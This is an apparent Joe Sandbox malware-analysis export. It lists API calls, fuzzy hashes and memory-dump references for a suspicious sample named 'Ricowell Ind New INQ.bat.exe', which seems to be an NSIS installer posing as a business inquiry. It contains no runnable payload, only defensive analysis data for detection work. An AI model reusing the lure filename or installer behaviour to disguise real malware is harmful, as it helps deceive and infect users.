Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction ID: 087740a894708ae54e311fe38564fcb001a0ed9e3d0f4d4a62d19f1d4de25a1d
Opcode Fuzzy Hash: ebfeba3ed9c8d95cb46d76ca19a6c1a04daa5e79448631d0a062a8db0bedbb5d
Instruction Fuzzy Hash: 38E046B6250108AADB40EFA4EE4AF9537ECFB04700F008021BA08E7091CA78E5509B69

Function 00405A3F Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00409130,00000000,00000000,00000000,00000000,004128A0,0040A8A0,004031C9,00409130,00409130,004030BB,004128A0,00004000,?,00000000,?), ref: 00405A53

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction ID: 55609983f428609d3339a900fe5ea2c3161a13bcf9e808ef2cae39733250456b
Opcode Fuzzy Hash: 36ce21e0183dc59356ed1b7b138b7ffe2bb5c4fd6ccae5392a8977301763c5ee
Instruction Fuzzy Hash: F7E08C3231025AABDF109EA09C40AEB3B6CEB00760F084432FA14E2040D230E9218FA5

Function 1000270F Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000404C,00000004,00000040,1000403C), ref: 1000272D

Memory Dump Source

Source File: 00000000.00000002.790762790038.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.790762749933.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762821158.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.790762850216.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Ricowell Ind New INQ.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction ID: 4dab7c069dd6fc30f8915db09394f7f991a1b088a201bba37056324bf7fcc065
Opcode Fuzzy Hash: 18430b4f65034898945c85cbd496d0600587ffef3804861361c874148a7acf75
Instruction Fuzzy Hash: 98F09BF19092A0DEF360DF688CC47063FE4E3993D5B03852AE358F6269EB7441448B19

Function 0040227F Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetPrivateProfileStringA.KERNEL32(00000000,?,?,?,000003FF,00000000), ref: 004022B2

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: PrivateProfileString
String ID:
API String ID: 1096422788-0
Opcode ID: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction ID: 1024819f7f1d2ea578916dba6ac29c28ac22902c13986e1de9ff5d702d2d6265
Opcode Fuzzy Hash: f8d132d461a5c4ed5c76335474cd8e98aaa4b1821b9353edac55918b86fd9ae5
Instruction Fuzzy Hash: B9E08671A44209BADB406FA08E09EBD3668BF01710F10013AF9507B0D1EBB88442F72D

Function 00401595 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(00000000,?,000000F0), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: c66d089d5a2f634c2935052129529c912c52a98a4509ae0e2fc4e9bc41e15f47
Instruction ID: bed2877986d8c12a83e01492d596720214e57a472dec7050afa6ab6fccae40cd
Opcode Fuzzy Hash: c66d089d5a2f634c2935052129529c912c52a98a4509ae0e2fc4e9bc41e15f47
Instruction Fuzzy Hash: 17D01277B08114E7DB00DBB5AE48A9E73A4FB50325F208637D111F11D0D3B98551A629

Function 00404038 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00010462,00000000,00000000,00000000), ref: 0040404A

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction ID: af7fd4c3fc1dda8ad1a195a9021ea177fcc43fc0d0bb539f8953ea950d20d41d
Opcode Fuzzy Hash: 875450fc840247aea6e73403ee44149e02d5474b467ece0a28835bfda1230da9
Instruction Fuzzy Hash: DFC09B717443007BEA31DB509D49F077758A750B00F5584357320F50D0C6B4F451D62D

Function 00404021 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403E52), ref: 0040402F

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction ID: 7b5ccc39adf6f72de5191684d4495c6b43ffe58f78915606d69c4a7e6f44d702
Opcode Fuzzy Hash: 3bdb3c033a7d800f3f5983e71921b41162ac414239058931643885a1338ef954
Instruction Fuzzy Hash: F3B092B5684200BAEE224B40DD09F457EA2E7A4702F008024B300240B0C6B200A1DB19

Function 004031CC Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402EA4,?), ref: 004031DA

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 0040400E Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403DEB), ref: 00404018

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction ID: f87940b9544c4de7e657a104dd6f20edac94ef916c9b89b279468f5034d51d6a
Opcode Fuzzy Hash: caaff2729d3fe7bae5ae998927534049a5cfce9e2193b3926e4c56a419af128c
Instruction Fuzzy Hash: E2A01231404001DBCB014B10DF04C45FF21B7503007018030E50140034C6310420FF09

Function 004014D6 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: c9c2d380323125baba7308e94fb33277af884a6ec96610a08fce4469fec28eac
Instruction ID: 4daead48d26ae6742cc4751adb680189456718570d67c7320b978f12710e1ab5
Opcode Fuzzy Hash: c9c2d380323125baba7308e94fb33277af884a6ec96610a08fce4469fec28eac
Instruction Fuzzy Hash: DFD0C7B7B141006BD750E7B86E8545A73E8F75135A7148837D502E1191D17DC9415519

Function 004057F1 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,004032C4,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",00000020), ref: 004057FE

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction ID: e54a1797c288d937877359b6033f79f3eb3a0d52b37aa32265b4b7ad07aac7e1
Opcode Fuzzy Hash: cab86ad4fbbc926bf9d9c4068ad28f349fd9e0cffecbcadba0a0645dfc6f61bb
Instruction Fuzzy Hash: 7FC0803140C74467C554571054244677FE0FA51301F28D466F8C163150C138AC119F36

Non-executed Functions

Function 0040499C Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049B4
GetDlgItem.USER32(?,00000408), ref: 004049BF
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A09
LoadBitmapA.USER32(0000006E), ref: 00404A1C
SetWindowLongA.USER32(?,000000FC,00404F93), ref: 00404A35
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A49
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404A5B
SendMessageA.USER32(?,00001109,00000002), ref: 00404A71
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404A7D
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404A8F
DeleteObject.GDI32(00000000), ref: 00404A92
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404ABD
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404AC9
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B5E
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404B89
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404B9D
GetWindowLongA.USER32(?,000000F0), ref: 00404BCC
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404BDA
ShowWindow.USER32(?,00000005), ref: 00404BEB
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404CE8
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404D4D
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404D62
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404D86
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404DA6
ImageList_Destroy.COMCTL32(00000000), ref: 00404DBB
GlobalFree.KERNEL32(00000000), ref: 00404DCB
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404E44
SendMessageA.USER32(?,00001102,?,?), ref: 00404EED
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404EFC
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F1C
ShowWindow.USER32(?,00000000), ref: 00404F6A
GetDlgItem.USER32(?,000003FE), ref: 00404F75
ShowWindow.USER32(00000000), ref: 00404F7C

Strings

N, xrefs: 00404C26
M, xrefs: 00404B45
, xrefs: 00404F54

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: f96aeeab4a25318005a3a9f7b7ecea2fbdc3284bb246aef355b8d85046c4ff9d
Instruction ID: ec1b41ef9246f4b5ca9c31e675ea93c5522bc938a585a88f05d0904c7564d9ec
Opcode Fuzzy Hash: f96aeeab4a25318005a3a9f7b7ecea2fbdc3284bb246aef355b8d85046c4ff9d
Instruction Fuzzy Hash: 7A025FB0900209AFEB10DF94DC85AAE7BB5FB84315F10817AFA10B62E1D7789D42DF58

Function 0040442A Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404479
SetWindowTextA.USER32(00000000,?), ref: 004044A3
SHBrowseForFolderA.SHELL32(?,0041F0D0,?), ref: 00404554
CoTaskMemFree.OLE32(00000000), ref: 0040455F
lstrcmpiA.KERNEL32(Call,Tosporet Setup: Installing), ref: 00404591
lstrcatA.KERNEL32(?,Call), ref: 0040459D
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004045AF

Part of subcall function 0040552E: GetDlgItemTextA.USER32(?,?,00000400,004045E6), ref: 00405541

Part of subcall function 00405FA1: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 00405FF9
Part of subcall function 00405FA1: CharNextA.USER32(?,?,?,00000000), ref: 00406006
Part of subcall function 00405FA1: CharNextA.USER32(?,"C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040600B
Part of subcall function 00405FA1: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031EF,C:\Users\user\AppData\Local\Temp\,76FB3410,004033C9), ref: 0040601B

GetDiskFreeSpaceA.KERNEL32(0041ECC8,?,?,0000040F,?,0041ECC8,0041ECC8,?,00000000,0041ECC8,?,?,000003FB,?), ref: 0040466C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404687

Part of subcall function 004047E0: lstrlenA.KERNEL32(Tosporet Setup: Installing,Tosporet Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,004046FB,000000DF,00000000,00000400,?), ref: 0040487E
Part of subcall function 004047E0: wsprintfA.USER32 ref: 00404886
Part of subcall function 004047E0: SetDlgItemTextA.USER32(?,Tosporet Setup: Installing), ref: 00404899

Strings

Tosporet Setup: Installing, xrefs: 00404527, 0040458A
C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike, xrefs: 0040457A
Call, xrefs: 0040458B, 00404590, 0040459B
A, xrefs: 0040454D

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike$Call$Tosporet Setup: Installing
API String ID: 2624150263-3147456940
Opcode ID: f98f00a644f458d2e02a584555e30f134e65ef2c05e9b8026b1db21ee3dd4a2e
Instruction ID: 5a451af96f6c61f8b8aedc9e732e962e3b59a2a539d705b9404eba0a1a8e20eb
Opcode Fuzzy Hash: f98f00a644f458d2e02a584555e30f134e65ef2c05e9b8026b1db21ee3dd4a2e
Instruction Fuzzy Hash: A6A162B1900208ABDB11AFA6CD45AEFB7B9EF85314F10843BF611B72D1D77C89418B69

Function 00402645 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402654

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741581272.0000000000437000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ricowell Ind New INQ.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 8c73969c0d40863ae126986d1f1e8202bdf4bd21bda08d418c229d82633c171d
Instruction ID: 2b7524724565807a685c72c68d6b6eabb337ae57375c882a310f3ed35d4a28aa
Opcode Fuzzy Hash: 8c73969c0d40863ae126986d1f1e8202bdf4bd21bda08d418c229d82633c171d
Instruction Fuzzy Hash: D4F0EC72504110EBD700EBB4994DAEE77B8DF51314F60457BE141F21C1D3B84945E72E

Function 00404135 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004041C0
GetDlgItem.USER32(00000000,000003E8), ref: 004041D4
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 004041F2
GetSysColor.USER32(?), ref: 00404203
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404212
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404221
lstrlenA.KERNEL32(?), ref: 00404224
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00404233
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404248
GetDlgItem.USER32(?,0000040A), ref: 004042AA
SendMessageA.USER32(00000000), ref: 004042AD
GetDlgItem.USER32(?,000003E8), ref: 004042D8
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404318
LoadCursorA.USER32(00000000,00007F02), ref: 00404327
SetCursor.USER32(00000000), ref: 00404330
ShellExecuteA.SHELL32(0000070B,open,004226A0,00000000,00000000,00000001), ref: 00404343
LoadCursorA.USER32(00000000,00007F00), ref: 00404350
SetCursor.USER32(00000000), ref: 00404353
SendMessageA.USER32(00000111,00000001,00000000), ref: 0040437F
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404393

Strings

Call, xrefs: 00404303
open, xrefs: 0040433B
N, xrefs: 004042C6

Memory Dump Source

Source File: 00000000.00000002.790741297381.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.790741263619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741333533.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.790741372394.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
